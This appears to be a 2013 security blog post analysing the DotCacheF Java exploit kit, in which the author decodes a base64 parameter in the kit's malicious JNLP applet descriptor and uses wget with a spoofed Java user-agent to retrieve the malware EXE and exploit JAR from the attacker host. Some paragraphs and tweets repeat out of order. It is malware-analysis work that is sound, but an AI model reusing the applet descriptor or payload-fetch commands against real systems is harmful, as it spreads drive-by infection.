Well enough about my bad ideas for naming EK's and lets have a look at what happened today.
Once again pinged by Malware Must Die on the hunt for a Java 0-Day.
@MalwareMustDie Will do, If I can find an angle. Little to go by...
— mal forsec (@malforsec) August 22, 2013
That would have been cool to get my hands on, I thought. One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937. Hmm just a HTTP 204 response.
Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.
Then came another tweet
2013-08-25: Be aware the kit is still alive!!!
Applet tag from the EK:Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.
Then came another tweet
@chort0 @hugbomb @MalwareMustDie Is the http://t.co/Ck8rlfpyUI you sent me (CVE-2013-2423) the applet from https://t.co/2cUqlTWGxQ?Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange - thought the quest was for a JAR. But OK lets see if we can get the payload anyway:
— Timo Hirvonen (@TimoHirvonen) August 22, 2013
2013-08-25: Be aware the kit is still alive!!!
<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
<information>
<title>Applet Test JNLP</title>
<vendor>atom</vendor>
<description>atom</description>
<offline-allowed/>
</information>
<resources>
<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
<jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
</resources>
<applet-desc name="atom" main-class="Auto" width="1" height="1">
<param name="__applet_ssv_validated" value="true"/>
<param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
</applet-desc>
<update check="background"/>
</jnlp>
Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.
param url encoded:
aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx NTM5Mzc5NDA2ODQ0Mg==
Decoded:
hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Lets fetch it the malware:
wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe --2013-08-22 -- hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442 Resolving www.eesconsulting.net... 69.25.136.179 Connecting to www.eesconsulting.net|69.25.136.179|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 279040 (272K) [audio/mpeg] Saving to: `za.exe' 100%[===================================================================================>] 279,040 57.7K/s in 4.7s 2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]
Nice. The case was solved.
Fetching the JAR with "fully patched" Java:
--2013-08-22 -- hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'
0K .......... 100% 42.4K=0.2s
2013-08-22 (42.4 KB/s) - `7u25.jar' saved [10304/10304]
Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.
Vitustotal for the EXE
Virustotal for the JAR
Happy getting exploits and malware out of the DotCacheF EK
Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog
